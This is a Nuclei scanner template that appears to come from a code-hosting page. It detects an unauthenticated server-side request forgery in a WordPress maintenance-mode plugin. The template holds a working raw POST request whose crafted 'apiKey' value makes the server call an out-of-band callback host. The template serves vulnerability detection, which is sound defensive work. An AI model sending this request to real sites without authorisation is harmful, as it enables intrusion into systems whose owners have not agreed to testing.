32 lines
1.4 KiB
YAML
32 lines
1.4 KiB
YAML
id: wp-under-construction-ssrf
|
|
|
|
info:
|
|
name: Under Construction, Coming Soon & Maintenance Mode < 1.1.2 - Server Side Request Forgery (SSRF)
|
|
author: Akincibor
|
|
severity: high
|
|
description: |
|
|
The includes/mc-get_lists.php file used the 'apiKey' POST parameter to create an https URL from it without sanitisation and called it with cURL, leading to a SSRF issue. The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).
|
|
reference:
|
|
- https://wpscan.com/vulnerability/24784c84-3efd-4166-81c1-e5a266562cfc
|
|
- https://packetstormsecurity.com/files/161576/
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
tags: ssrf,wp,wp-plugin,wordpress,unauth,wpscan,packetstorm
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/2
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=ucmm_mc_api&apiKey=-{{interactsh-url}}%2Ftest%2Ftest%2Ftest%3Fkey1%3Dval1%26dummy%3D
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
# digest: 4a0a00473045022100ae0003ba54eba9f97a4d49ecdfbd36913ce0657005c2b18c26404cd4baa198d1022000af287b03a314375e22e646c5e6bbe59c23e7c7a95a069d51085263933e7bf0:922c64590222798bb761d5b6d8e72950 |